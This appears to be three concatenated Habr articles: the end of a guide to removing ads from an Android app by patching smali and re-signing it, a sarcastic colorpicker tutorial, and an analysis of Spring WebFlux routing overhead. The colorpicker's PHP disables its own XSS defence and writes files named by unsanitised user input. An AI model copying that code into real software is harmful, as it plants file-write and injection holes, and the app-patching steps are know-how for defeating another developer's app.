Самое простое, что пришло на ум после чтения кода, это убрать все лишнее, и оставить лишь вызов return;
Но, как уже было сказано, даже если бы я изменил в java-классе что-либо, я бы не смог в итоге скомпилировать приложение в IDE. Поэтому пришлось искать альтернативу. Оказалось, что smali-файлы, которые создаются в процессе декомпиляции, позволяют также после внесения нужных изменений, вновь собрать модифицированное приложение. Увы, сайт, что был приведен выше, позволял лишь получать исходники, но не собирать новые. Поэтому пришлось искать способы сделать это самостоятельно.
Была найдена утилита [ApkTools](https://bitbucket.org/iBotPeaches/apktool/downloads), которая позволяла декомпилировать и компилировать apk-файлы. Кроме того, потребовалась утилита aapt.exe, которая была взята мной из стандартного SDK под андроид в папке android-sdk\build-tools\20.0.0.
Для удобства вызова утилиты из под windows был создан скрипт apktool.bat:
```
@echo off
set PATH=%CD%;%PATH%;
java -jar "%~dp0\apktool.jar" %1 %2 %3 %4 %5 %6 %7 %8 %9
```
Для декомпиляции приложения были выполнены команды:
```
apktool if .apk
apktool d .apk
```
После чего, в полученных исходниках был найден файл **BaseReaderFragment.smali** и нужные нам методы были изменены следующим образом:
```
.method protected placeAdViewIfNeeded(Landroid/view/ViewGroup;)V
.locals 3
.param p1, "layoutAds" # Landroid/view/ViewGroup;
.prologue
const/4 v2, -0x2
return-void
.end method
.method protected removeAdViewIfNeeded(Landroid/view/ViewGroup;)V
.locals 1
.param p1, "layoutAds" # Landroid/view/ViewGroup;
.prologue
.line 149
const/16 v0, 0x8
return-void
.end method
```
Далее пришла очередь сборки apk-файла из исходников.
Сделать это можно cледующей командой:
```
apktool b
```
Но это еще не все. Чтобы приложение можно было установить, его нужно было подписать цифровой подписью. Самый простой способ сделать это – это скачать [архив](http://forum.xda-developers.com/attachment.php?s=e8fcdf4391dd040b071aa23dee30acf9&attachmentid=1846095&d=1364661948) в котором находится утилита для подписи приложений и цифровые сертификаты к ней.
Распаковываем архив, выполняем команду:
```
java -jar signapk.jar certificate.pem key.pk8 .apk .apk
```
Полученный apk-файл можно загружать на телефон, чтобы проверить наше модифицированное приложение. Однако в процессе тестирования изменений оказалось, что объявления больше не показываются, однако сама страница для их показа создается, что не очень приятно. Снова был проанализирован код приложения, найден класс **BaseSeamlessReaderFragment**, а в нем метод **appendPages**.
В нем было видно, что строчка:
```
addPage(new MangaPage(i - 1, null, chapteritem, true), false);
```
создает дополнительную страницу, помимо тех, что есть в главе манги, с параметром, отвечающим за показ объявлений. Было решено удалить эту строчку и посмотреть результат. Снова заглядываем в аналогичный smali-файл(**BaseSeamlessReaderFragment$4**) и удаляем строчку:
```
invoke-virtual {v6, v7, v10}, Lorg/mangawatcher/android/fragments/BaseSeamlessReaderFragment;->addPage(Lorg/mangawatcher/android/fragments/BaseSeamlessReaderFragment$MangaPage;Z)V
```
Снова проводим сборку apk-файла из исходников и подписываем наше приложение. После установки и тестирования приложения экран с рекламой окончательно исчез, что и было конечной целью.
Данный пример показывает, что в случае необходимости можно довольно просто и быстро модифицировать уже существующие android-приложения, чтобы добавить в них недостающий функционал или наоборот удалить некоторые нежелательные возможности в тех ситуациях, когда доступа к исходникам нет. Надеюсь он поможет людям, которые попали в похожую ситуацию и не хотят мирится с ней, найти решение проблемы. | https://habr.com/ru/post/244457/ | null | ru | null |
# Как я создал лучший colorpicker
Эта статья посвящена тому, как я решил написать свой выбор цвета для сайта, потому что не устраивала кривая работа и тяжеловесность аналогов. Мой код не содержит ни одного плагина или библиотеки, поэтому он максимально простой и производительный.
Начнём с самого начала. Создаём базовую HTML-разметку:
```
Document
Color Picker
============
```
Далее надо вывести все цвета. Я решил выводить их на PHP, чтобы пользователь после открытия страницы уже видел палитру, а не ждал, пока это отрендерится у него на клиенте. Выводить решил в шестнадцатеричном варианте. Для этого делаем 6 вложенных циклов for и выводим блоки 1x1 px.
Код
```
php
$color = '';
for($i=0;$i<15;$i++) {
$a = $i;
switch($i) {
case 10:
$a = 'A';
break;
case 11:
$a = 'B';
break;
case 12:
$a = 'C';
break;
case 13:
$a = 'D';
break;
case 14:
$a = 'E';
break;
case 15:
$a = 'F';
break;
}
for($j=0;$j<15;$j++) {
$b = $j;
switch($j) {
case 10:
$b = 'A';
break;
case 11:
$b = 'B';
break;
case 12:
$b = 'C';
break;
case 13:
$b = 'D';
break;
case 14:
$b = 'E';
break;
case 15:
$b = 'F';
break;
}
for($k=0;$k<15;$k++) {
$c = $k;
switch($k) {
case 10:
$c = 'A';
break;
case 11:
$c = 'B';
break;
case 12:
$c = 'C';
break;
case 13:
$c = 'D';
break;
case 14:
$c = 'E';
break;
case 15:
$c = 'F';
break;
}
for($l=0;$l<15;$l++) {
$d = $l;
switch($l) {
case 10:
$d = 'A';
break;
case 11:
$d = 'B';
break;
case 12:
$d = 'C';
break;
case 13:
$d = 'D';
break;
case 14:
$d = 'E';
break;
case 15:
$d = 'F';
break;
}
for($m=0;$m<15;$m++) {
$e = $m;
switch($m) {
case 10:
$e = 'A';
break;
case 11:
$e = 'B';
break;
case 12:
$e = 'C';
break;
case 13:
$e = 'D';
break;
case 14:
$e = 'E';
break;
case 15:
$e = 'F';
break;
}
for($n=0;$n<15;$n++) {
$f = $n;
switch($n) {
case 10:
$f = 'A';
break;
case 11:
$f = 'B';
break;
case 12:
$f = 'C';
break;
case 13:
$f = 'D';
break;
case 14:
$f = 'E';
break;
case 15:
$f = 'F';
break;
}
$color = "#{$a}{$b}{$c}{$d}{$e}{$f}";
echo '<div class="color__item" style="width:1px; height:1px;background:'.$color.';"
```
';
$color = '';
}
}
}
}
}
}Если i>=10 то заменяем на символ из шестнадцатеричной кодировки.
В итоге через пару минут ожидания я решил выключить пылесос, который почему-то лежал включенный. Но оказалось, что это не он, а кулер моего ноутбука. Я понял, что, видимо, вывожу сразу слишком много цветов, поэтому решил выводить только первые 10 000 цветов для тестирования. Получилась такая красота:
Неплохо, но попадать по цветам, слишком неудобно. Поэтому увеличим размеры "пикселей"
Отлично! Но есть одна проблема: здесь только синий цвет, но хотелось бы получить побольше. К сожалению, мой слабенький ноут не может отобразить всю палитру сразу, несмотря на то, что я не использую даже сторонних плагинов. Поэтому я решил выводить различные палитры для основных цветов в зависимости от GET-параметра. Для этого создаем меню:
```
Color Picker
============
* [Blue colors](?x=blue)
* [Green colors](?x=green)
* [Red colors](?x=red)
```
А в самом PHP и придумал хитрый способ чтобы переписывать нужны было как можно меньше. Теперь цвета выводятся вот так:
```
php
$x = $_GET['x'];
if ($x == 'red') {
$color = "#{$e}{$f}{$c}{$d}{$a}{$b}";
} elseif ($x == 'green') {
$color = "#{$a}{$b}{$e}{$f}{$c}{$d}";
} else {
$color = "#{$a}{$b}{$c}{$d}{$e}{$f}";
}
$q++;
if ($q <=10000) {
echo '<div class="color__item" style="width:2px; height:2px;background:'.$color.';"';
$color = '';
}
```
Что получилось:
Остальные палитры доработаю чуть позже или можете доработать их сами!)
Теперь нам нужно непосредственно сделать выбор цвета и сохранение его в элемент формы. В HTML добавляем такой код:
```
### Selected Color:
```
А вот так выглядит JS:
```
document.querySelectorAll('.color__item').forEach((item, i, arr) => item.onclick = (e) => {document.querySelector('#selected-color').style.background = e.target.style.background; document.querySelector('#color').value = e.target.style.background});
```
Отлично! Теперь на все цвета вешается обработчик клика и выбранный цвет записывается в наш input[type='hidden'], который можно будет передать с остальной формой. Также мы показываем выбранный цвет пользователю
Безопасность
------------
Не забудем и о безопасности. Так как название палитры передается как GET-параметр и обрабатывается нашим PHP, то есть вероятность XSS-инъекции! Чтобы защититься от инъекции, я позаимствовал код из этой статьи: https://habr.com/ru/post/470193/ Автор показал очень простой и эффективный способ защиты, так что не будем городить костыли и воспользуемся им. Код вставлять сюда не буду, т.к. он идентичен коду в той статье, поэтому не буду дублироваться.
Теперь при открытии страницы появляется ошибка: **Call to undefined function mysql\_*real\_*escape\_string()**. Я сначала хотел просто удалить эту строку, но подумал, что если кто-то из вас будет пользоваться моим кодом, то наверняка у вас будет работа с базой данных, поэтому проблему нужно решить.
Я вспомнил, что mysql в PHP устарел, и надо использовать mysqli. Поэтому соответствующим образом исправил вызов функции.
Умная IDE подсказывает, что не хватает обязательного параметра. Поэтому вторым аргументом я просто добавил true. Я нередко видел, как вторым аргументом передают булево значение. Например, в json\_decode()
Однако, это не сработало, появился warning, говорящий, что аргумент должен быть строкой. Пришлось обернуть true в кавычки, и это, конечно же, помогло.
```
$v = mysqli_real_escape_string( $v, 'true' );
```
Однако, теперь ругается на первый аргумент, говоря, что аргумент должен быть объектом mysqli(), поэтому вместо "$v" я передал "new mysqli()". Он опять начал ругаться на что-то, но у меня плохо с английским, и я не понял суть. Поэтому решил забить и просто закомментировать строку. Скорее всего это баг из-за того, что PHP8 вышел лишь недавно, и многое работает криво.
Зато от XSS мы теперь защищены!
Запоминание цветов
------------------
Наша палитра отлично работает, но хотелось бы иметь возможность "запомнить цвет" - чтобы пользователь в случае закрытия страницы смог быстро восстановить цвет, который он выбирал. Для этого добавляем следующий код:
```
Запомнить мой цвет
```
Как и говорил, у меня плохо с английский языком, и я не знаю как переводится "запоминать". Поэтому, написал по-русски (приношу извинения перед англоязычными пользователями моего кода (I am sorry)).
Теперь будем сохранять данные на сервере по клику на кнопку. Для этого пользователь должен будет ввести любой ключ по которому можно будет в будущем извлечь его цвет. Для ввода ключа воспользуемся функцией prompt(), т.к. самописные модальные окна - зло, и они пользователей бесят. Затем, для отправки на сервер будем использовать fetch - никаких jQuery, axios и т.п. Ведь наша задача сделать код простым и производительным, который поддерживать и использовать будет приятно.
Код получился вот таким:
```
document.querySelector('#save-color__button').onclick = () => {
const color = document.querySelector('#color').value;
const key = prompt('Write your key:');
const formData = new FormData();
formData.append('key', key);
formData.append('color', color);
fetch('save-color.php', {
method: 'POST',
body: formData
}).then((response) => {
if (response.status === 200) {
alert('success!');
} else {
alert('error!');
}
})
```
Теперь нам нужно создать файл "save-color.php". Код его будет крайне простым
```
php
$key = $_POST['key'];
$value = $_POST['color'];
file_put_contents($key.'.txt', $value);</code
```
Вот и всё! Теперь мы можем просто вбить в адресную строку mydomain.ru/{key}.txt и увидеть цвет, который мы выбирали!
Заключение
----------
Вот так, буквально за пару часов мы реализовали свой функционал выбора цвета. Да, он ещё несовершенный, но каждый может править код под себя и использовать в своё удовольствие! Если эта статья не уйдёт в минус, то дальше я покажу, как очень просто можно найти все ключи ассоциативного массива с помощью простейшего перебора строк. А на этом всё. Пишите качественный и производительный код.
Ну и напоследок/sarcasm | https://habr.com/ru/post/537944/ | null | ru | null |
# Spring — эффективный роутинг
*[Виктор Васнецов, Рыцарь на распутье; fatcatart.com](https://fatcatart.com/?attachment_id=713&lang=en)*
Привет, Хабр! Здесь краткий пересказ [интересной баги c GitHub](https://github.com/spring-projects/spring-framework/issues/24652). Для воспроизведения см. проект [spring-flux-callstack](https://github.com/imanushin/spring-flux-callstack).
Не так давно я заметил, что при ошибках приложения, стектрейс иногда довольно длинный. И в нем повторялось по многу раз один и тот же набор строк (сам стектрейс под катом):
```
at reactor.core.publisher.FluxSwitchIfEmpty$SwitchIfEmptySubscriber.onComplete(FluxSwitchIfEmpty.java:75)
at reactor.core.publisher.FluxSwitchIfEmpty$SwitchIfEmptySubscriber.onComplete(FluxSwitchIfEmpty.java:78)
at reactor.core.publisher.Operators.complete(Operators.java:135)
at reactor.core.publisher.MonoEmpty.subscribe(MonoEmpty.java:45)
at reactor.core.publisher.MonoDefer.subscribe(MonoDefer.java:52)
at reactor.core.publisher.Mono.subscribe(Mono.java:4110)
```
Как вы уже поняли, это методы из [Project Reactor](https://projectreactor.io/), который обеспечивает асинхронную работу для [Router Function](https://docs.spring.io/spring/docs/current/spring-framework-reference/web-reactive.html#webflux-fn-router-functions) в [WebFlux](https://docs.spring.io/spring/docs/current/spring-framework-reference/web-reactive.html).
Налицо неэффективность, ведь каждый такой блок кода порождает несколько объектов в куче, а таких блоков много. И создаюся они на каждый вызов.
**Смутивший меня стектрейс**
```
at org.springframework.web.reactive.function.server.CoRouterFunctionDsl$asHandlerFunction$1$1.invokeSuspend(CoRouterFunctionDsl.kt:599)
at kotlin.coroutines.jvm.internal.BaseContinuationImpl.resumeWith(ContinuationImpl.kt:33)
at kotlinx.coroutines.DispatchedContinuationKt.resumeCancellableWith(DispatchedContinuation.kt:313)
at kotlinx.coroutines.intrinsics.CancellableKt.startCoroutineCancellable(Cancellable.kt:26)
at kotlinx.coroutines.CoroutineStart.invoke(CoroutineStart.kt:109)
at kotlinx.coroutines.AbstractCoroutine.start(AbstractCoroutine.kt:158)
at kotlinx.coroutines.reactor.MonoKt$monoInternal$1.accept(Mono.kt:55)
at kotlinx.coroutines.reactor.MonoKt$monoInternal$1.accept(Mono.kt)
at reactor.core.publisher.MonoCreate.subscribe(MonoCreate.java:57)
at reactor.core.publisher.InternalMonoOperator.subscribe(InternalMonoOperator.java:55)
at reactor.core.publisher.MonoFlatMap$FlatMapMain.onNext(MonoFlatMap.java:150)
at reactor.core.publisher.FluxSwitchIfEmpty$SwitchIfEmptySubscriber.onNext(FluxSwitchIfEmpty.java:67)
at reactor.core.publisher.MonoNext$NextSubscriber.onNext(MonoNext.java:76)
at reactor.core.publisher.FluxConcatMap$ConcatMapImmediate.innerNext(FluxConcatMap.java:274)
at reactor.core.publisher.FluxConcatMap$ConcatMapInner.onNext(FluxConcatMap.java:851)
at reactor.core.publisher.FluxMap$MapSubscriber.onNext(FluxMap.java:114)
at reactor.core.publisher.FluxPeek$PeekSubscriber.onNext(FluxPeek.java:192)
at reactor.core.publisher.FluxSwitchIfEmpty$SwitchIfEmptySubscriber.onNext(FluxSwitchIfEmpty.java:67)
at reactor.core.publisher.FluxMap$MapSubscriber.onNext(FluxMap.java:114)
at reactor.core.publisher.FluxSwitchIfEmpty$SwitchIfEmptySubscriber.onNext(FluxSwitchIfEmpty.java:67)
at reactor.core.publisher.FluxSwitchIfEmpty$SwitchIfEmptySubscriber.onNext(FluxSwitchIfEmpty.java:67)
at reactor.core.publisher.FluxSwitchIfEmpty$SwitchIfEmptySubscriber.onNext(FluxSwitchIfEmpty.java:67)
at reactor.core.publisher.FluxSwitchIfEmpty$SwitchIfEmptySubscriber.onNext(FluxSwitchIfEmpty.java:67)
at reactor.core.publisher.FluxSwitchIfEmpty$SwitchIfEmptySubscriber.onNext(FluxSwitchIfEmpty.java:67)
at reactor.core.publisher.FluxSwitchIfEmpty$SwitchIfEmptySubscriber.onNext(FluxSwitchIfEmpty.java:67)
at reactor.core.publisher.FluxSwitchIfEmpty$SwitchIfEmptySubscriber.onNext(FluxSwitchIfEmpty.java:67)
at reactor.core.publisher.FluxSwitchIfEmpty$SwitchIfEmptySubscriber.onNext(FluxSwitchIfEmpty.java:67)
at reactor.core.publisher.FluxSwitchIfEmpty$SwitchIfEmptySubscriber.onNext(FluxSwitchIfEmpty.java:67)
at reactor.core.publisher.Operators$ScalarSubscription.request(Operators.java:2267)
at reactor.core.publisher.Operators$MultiSubscriptionSubscriber.set(Operators.java:2075)
at reactor.core.publisher.Operators$MultiSubscriptionSubscriber.onSubscribe(Operators.java:1949)
at reactor.core.publisher.MonoJust.subscribe(MonoJust.java:54)
at reactor.core.publisher.MonoDefer.subscribe(MonoDefer.java:52)
at reactor.core.publisher.Mono.subscribe(Mono.java:4110)
at reactor.core.publisher.FluxSwitchIfEmpty$SwitchIfEmptySubscriber.onComplete(FluxSwitchIfEmpty.java:75)
at reactor.core.publisher.FluxSwitchIfEmpty$SwitchIfEmptySubscriber.onComplete(FluxSwitchIfEmpty.java:78)
at reactor.core.publisher.Operators.complete(Operators.java:135)
at reactor.core.publisher.MonoEmpty.subscribe(MonoEmpty.java:45)
at reactor.core.publisher.MonoDefer.subscribe(MonoDefer.java:52)
at reactor.core.publisher.Mono.subscribe(Mono.java:4110)
at reactor.core.publisher.FluxSwitchIfEmpty$SwitchIfEmptySubscriber.onComplete(FluxSwitchIfEmpty.java:75)
at reactor.core.publisher.FluxSwitchIfEmpty$SwitchIfEmptySubscriber.onComplete(FluxSwitchIfEmpty.java:78)
at reactor.core.publisher.Operators.complete(Operators.java:135)
at reactor.core.publisher.MonoEmpty.subscribe(MonoEmpty.java:45)
at reactor.core.publisher.MonoDefer.subscribe(MonoDefer.java:52)
at reactor.core.publisher.Mono.subscribe(Mono.java:4110)
at reactor.core.publisher.FluxSwitchIfEmpty$SwitchIfEmptySubscriber.onComplete(FluxSwitchIfEmpty.java:75)
at reactor.core.publisher.FluxSwitchIfEmpty$SwitchIfEmptySubscriber.onComplete(FluxSwitchIfEmpty.java:78)
at reactor.core.publisher.Operators.complete(Operators.java:135)
at reactor.core.publisher.MonoEmpty.subscribe(MonoEmpty.java:45)
at reactor.core.publisher.MonoDefer.subscribe(MonoDefer.java:52)
at reactor.core.publisher.Mono.subscribe(Mono.java:4110)
at reactor.core.publisher.FluxSwitchIfEmpty$SwitchIfEmptySubscriber.onComplete(FluxSwitchIfEmpty.java:75)
at reactor.core.publisher.FluxSwitchIfEmpty$SwitchIfEmptySubscriber.onComplete(FluxSwitchIfEmpty.java:78)
at reactor.core.publisher.Operators.complete(Operators.java:135)
at reactor.core.publisher.MonoEmpty.subscribe(MonoEmpty.java:45)
at reactor.core.publisher.MonoDefer.subscribe(MonoDefer.java:52)
at reactor.core.publisher.Mono.subscribe(Mono.java:4110)
at reactor.core.publisher.FluxSwitchIfEmpty$SwitchIfEmptySubscriber.onComplete(FluxSwitchIfEmpty.java:75)
at reactor.core.publisher.FluxSwitchIfEmpty$SwitchIfEmptySubscriber.onComplete(FluxSwitchIfEmpty.java:78)
at reactor.core.publisher.Operators.complete(Operators.java:135)
at reactor.core.publisher.MonoEmpty.subscribe(MonoEmpty.java:45)
at reactor.core.publisher.MonoDefer.subscribe(MonoDefer.java:52)
at reactor.core.publisher.Mono.subscribe(Mono.java:4110)
at reactor.core.publisher.FluxSwitchIfEmpty$SwitchIfEmptySubscriber.onComplete(FluxSwitchIfEmpty.java:75)
at reactor.core.publisher.FluxSwitchIfEmpty$SwitchIfEmptySubscriber.onComplete(FluxSwitchIfEmpty.java:78)
at reactor.core.publisher.Operators.complete(Operators.java:135)
at reactor.core.publisher.MonoEmpty.subscribe(MonoEmpty.java:45)
at reactor.core.publisher.MonoDefer.subscribe(MonoDefer.java:52)
at reactor.core.publisher.Mono.subscribe(Mono.java:4110)
at reactor.core.publisher.FluxSwitchIfEmpty$SwitchIfEmptySubscriber.onComplete(FluxSwitchIfEmpty.java:75)
at reactor.core.publisher.FluxSwitchIfEmpty$SwitchIfEmptySubscriber.onComplete(FluxSwitchIfEmpty.java:78)
at reactor.core.publisher.Operators.complete(Operators.java:135)
at reactor.core.publisher.MonoEmpty.subscribe(MonoEmpty.java:45)
at reactor.core.publisher.MonoDefer.subscribe(MonoDefer.java:52)
at reactor.core.publisher.Mono.subscribe(Mono.java:4110)
at reactor.core.publisher.FluxSwitchIfEmpty$SwitchIfEmptySubscriber.onComplete(FluxSwitchIfEmpty.java:75)
at reactor.core.publisher.FluxSwitchIfEmpty$SwitchIfEmptySubscriber.onComplete(FluxSwitchIfEmpty.java:78)
at reactor.core.publisher.Operators.complete(Operators.java:135)
at reactor.core.publisher.MonoEmpty.subscribe(MonoEmpty.java:45)
at reactor.core.publisher.MonoDefer.subscribe(MonoDefer.java:52)
at reactor.core.publisher.Mono.subscribe(Mono.java:4110)
at reactor.core.publisher.FluxSwitchIfEmpty$SwitchIfEmptySubscriber.onComplete(FluxSwitchIfEmpty.java:75)
at reactor.core.publisher.FluxSwitchIfEmpty$SwitchIfEmptySubscriber.onComplete(FluxSwitchIfEmpty.java:78)
at reactor.core.publisher.Operators.complete(Operators.java:135)
at reactor.core.publisher.MonoEmpty.subscribe(MonoEmpty.java:45)
at reactor.core.publisher.MonoDefer.subscribe(MonoDefer.java:52)
at reactor.core.publisher.Mono.subscribe(Mono.java:4110)
at reactor.core.publisher.FluxSwitchIfEmpty$SwitchIfEmptySubscriber.onComplete(FluxSwitchIfEmpty.java:75)
at reactor.core.publisher.FluxSwitchIfEmpty$SwitchIfEmptySubscriber.onComplete(FluxSwitchIfEmpty.java:78)
at reactor.core.publisher.Operators.complete(Operators.java:135)
at reactor.core.publisher.MonoEmpty.subscribe(MonoEmpty.java:45)
at reactor.core.publisher.MonoDefer.subscribe(MonoDefer.java:52)
at reactor.core.publisher.Mono.subscribe(Mono.java:4110)
at reactor.core.publisher.FluxSwitchIfEmpty$SwitchIfEmptySubscriber.onComplete(FluxSwitchIfEmpty.java:75)
at reactor.core.publisher.FluxSwitchIfEmpty$SwitchIfEmptySubscriber.onComplete(FluxSwitchIfEmpty.java:78)
at reactor.core.publisher.Operators.complete(Operators.java:135)
at reactor.core.publisher.MonoEmpty.subscribe(MonoEmpty.java:45)
at reactor.core.publisher.MonoDefer.subscribe(MonoDefer.java:52)
at reactor.core.publisher.Mono.subscribe(Mono.java:4110)
at reactor.core.publisher.FluxSwitchIfEmpty$SwitchIfEmptySubscriber.onComplete(FluxSwitchIfEmpty.java:75)
at reactor.core.publisher.Operators.complete(Operators.java:135)
at reactor.core.publisher.MonoEmpty.subscribe(MonoEmpty.java:45)
at reactor.core.publisher.InternalMonoOperator.subscribe(InternalMonoOperator.java:55)
at reactor.core.publisher.MonoDefer.subscribe(MonoDefer.java:52)
at reactor.core.publisher.Mono.subscribe(Mono.java:4110)
at reactor.core.publisher.FluxSwitchIfEmpty$SwitchIfEmptySubscriber.onComplete(FluxSwitchIfEmpty.java:75)
at reactor.core.publisher.FluxMap$MapSubscriber.onComplete(FluxMap.java:136)
at reactor.core.publisher.FluxMap$MapSubscriber.onComplete(FluxMap.java:136)
at reactor.core.publisher.Operators.complete(Operators.java:135)
at reactor.core.publisher.MonoEmpty.subscribe(MonoEmpty.java:45)
at reactor.core.publisher.Mono.subscribe(Mono.java:4110)
at reactor.core.publisher.FluxConcatMap$ConcatMapImmediate.drain(FluxConcatMap.java:441)
at reactor.core.publisher.FluxConcatMap$ConcatMapImmediate.onSubscribe(FluxConcatMap.java:211)
at reactor.core.publisher.FluxIterable.subscribe(FluxIterable.java:161)
at reactor.core.publisher.FluxIterable.subscribe(FluxIterable.java:86)
at reactor.core.publisher.InternalMonoOperator.subscribe(InternalMonoOperator.java:55)
at reactor.core.publisher.MonoDefer.subscribe(MonoDefer.java:52)
at reactor.core.publisher.Mono.subscribe(Mono.java:4110)
at reactor.core.publisher.MonoIgnoreThen$ThenIgnoreMain.drain(MonoIgnoreThen.java:172)
at reactor.core.publisher.MonoIgnoreThen.subscribe(MonoIgnoreThen.java:56)
at reactor.core.publisher.InternalMonoOperator.subscribe(InternalMonoOperator.java:55)
at reactor.netty.http.server.HttpServerHandle.onStateChange(HttpServerHandle.java:64)
at reactor.netty.tcp.TcpServerBind$ChildObserver.onStateChange(TcpServerBind.java:228)
at reactor.netty.http.server.HttpServerOperations.onInboundNext(HttpServerOperations.java:465)
at reactor.netty.channel.ChannelOperationsHandler.channelRead(ChannelOperationsHandler.java:90)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:377)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:363)
at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:355)
at reactor.netty.http.server.HttpTrafficHandler.channelRead(HttpTrafficHandler.java:170)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:377)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:363)
at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:355)
at io.netty.channel.CombinedChannelDuplexHandler$DelegatingChannelHandlerContext.fireChannelRead(CombinedChannelDuplexHandler.java:436)
at io.netty.handler.codec.ByteToMessageDecoder.fireChannelRead(ByteToMessageDecoder.java:321)
at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:295)
at io.netty.channel.CombinedChannelDuplexHandler.channelRead(CombinedChannelDuplexHandler.java:251)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:377)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:363)
at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:355)
at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1410)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:377)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:363)
at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:919)
at io.netty.channel.epoll.AbstractEpollStreamChannel$EpollStreamUnsafe.epollInReady(AbstractEpollStreamChannel.java:792)
at io.netty.channel.epoll.AbstractEpollChannel$AbstractEpollUnsafe$1.run(AbstractEpollChannel.java:387)
at io.netty.util.concurrent.AbstractEventExecutor.safeExecute(AbstractEventExecutor.java:164)
at io.netty.util.concurrent.SingleThreadEventExecutor.runAllTasks(SingleThreadEventExecutor.java:472)
at io.netty.channel.epoll.EpollEventLoop.run(EpollEventLoop.java:384)
at io.netty.util.concurrent.SingleThreadEventExecutor$4.run(SingleThreadEventExecutor.java:989)
at io.netty.util.internal.ThreadExecutorMap$2.run(ThreadExecutorMap.java:74)
at io.netty.util.concurrent.FastThreadLocalRunnable.run(FastThreadLocalRunnable.java:30)
at java.base/java.lang.Thread.run(Thread.java:834)
```
Router Function
===============
Для начала, что такое [Router Function](https://docs.spring.io/spring/docs/current/spring-framework-reference/web-reactive.html#webflux-fn-router-functions). Для регистрации асинхронного API, начиная с Spring Framework v5, можно использовать следующий подход:
```
@Bean
open fun httpEndpoints(): RouterFunction {
return coRouter {
GET("/api/users") {
ServerResponse
.ok()
.bodyValueAndAwait("Ok !!!!")
}
GET("/api/developers") {
ServerResponse
.badRequest()
.bodyValueAndAwait("Not ok (((")
}
}
}
```
Метод `GET` принимает на вход асинхронную функцию `suspend (ServerRequest) -> ServerResponse`, в которой можно по `ServerRequest` создать `ServerResponse`. Всё просто и логично. И если в вашем приложении есть набор сервисов, которые работают по более-менее одинаковой схеме, то вы можете их свести к следующей модели (казалось бы):
```
@Bean
open fun httpEndpoints(): RouterFunction {
// сразу скажу - так делать не надо
val urlToMethod: Map = createRequestProcessors()
return coRouter {
urlToMethod.forEach { url, processor -> // forEach здесь не уместен
GET("/$url") {
processor.createResponse(it)
}
}
}
}
```
В итоге, если у вас большинство API методов в приложении берут на вход примерно одно и то же, то можно выделить интерфейс и сделать один обработчик (как описано выше). Получается явный код, без магии аннотаций и пр.
Как работает Router Function?
=============================
Интерфейс [RouterFunction здесь](https://github.com/spring-projects/spring-framework/blob/master/spring-webflux/src/main/java/org/springframework/web/reactive/function/server/RouterFunction.java), однако на момент написания статьи он выглядел так:
```
@FunctionalInterface
public interface RouterFunction {
Mono> route(ServerRequest request);
default RouterFunction and(RouterFunction other) {
return new RouterFunctions.SameComposedRouterFunction<>(this, other);
}
default RouterFunction andOther(RouterFunction other) {
return new RouterFunctions.DifferentComposedRouterFunction(this, other);
}
default RouterFunction andRoute(RequestPredicate predicate, HandlerFunction handlerFunction) {
return and(RouterFunctions.route(predicate, handlerFunction));
}
default RouterFunction andNest(RequestPredicate predicate, RouterFunction routerFunction) {
return and(RouterFunctions.nest(predicate, routerFunction));
}
default ~~RouterFunction ~~filter(HandlerFilterFunction filterFunction) {
return new RouterFunctions.FilteredRouterFunction<>(this, filterFunction);
}
default void accept(RouterFunctions.Visitor visitor) {
visitor.unknown(this);
}
}~~~~
```
Как видно, он позволяет асинхронно и каскадно находить правильный обработчик для входного url. Условно, у функции есть три варианта:
1. Обработать запрос
2. Сделегировать запрос вложенной функции (и откусив префикс)
3. Отвергнуть запрос, вернув `Mono.empty()`, что означает "за этот url я не отвечаю".
Как результат, есть абстрактый интерфейс, к которому можно добавлять новые и новые реализации. Можно даже сделать прокси-сервер, который в каждый момент времени не знает, корректен ли URL (т.е. он может спросить о корректности у одного из других серверов). В итоге, мы получаем расширяемую систему, в которой есть уже готовая реализация (с методами `GET`, как выше), однако никто не мешает сделать свою (с рулем, седлом, педалями и т.д.).
А теперь вернемся к примеру выше:
```
@Bean
open fun httpEndpoints(): RouterFunction {
// сразу скажу - так делать не надо
val urlToMethod: Map = createRequestProcessors()
return coRouter {
urlToMethod.forEach { url, processor -> // forEach здесь не уместен
GET("/$url") {
processor.createResponse(it)
}
}
}
}
```
Как я думаю, вы уже поняли, что на деле каждый вызов метода `GET` создает новую `RouterFunction`. И каждая из них проверяет, что URL совпал (или не совпал), а потом переключается дальше. Если на вход придет неподдерживаемый адрес, то каждая функция его проверит. То есть, для адреса размера `N`, сложность поиска рабочей функции будет `O(N*M*K)`, где `M` — средняя длина адреса в функции, а `K` — число `RouterFunction` (говоря другими словами, если удвоить число маршрутов сайта, то время поиска правильного увеличится вдвое, что странно, так как тот же `switch` в Java не обладает таким свойством). Хуже всего то, что на каждой итерации создается еще несколько объектов в куче (для асинхронности), что вряд ли дает ускорение всей системе.
Казалось бы, если все адреса статические (или, по-другому, сервер заранее знает все поддерживаемые), то можно использовать [префиксное дерево](https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%B5%D1%84%D0%B8%D0%BA%D1%81%D0%BD%D0%BE%D0%B5_%D0%B4%D0%B5%D1%80%D0%B5%D0%B2%D0%BE). Этот алгоритм зачастую используется, например, для поиска на web страницах. Его минус в том, что надо заранее знать все возможные варианты, однако далее он работает со сложностью `O(min(M, N))`, где `N` — это длина адреса, `M` — это или длина совпавшего префикса, или максимальная длина префикса.
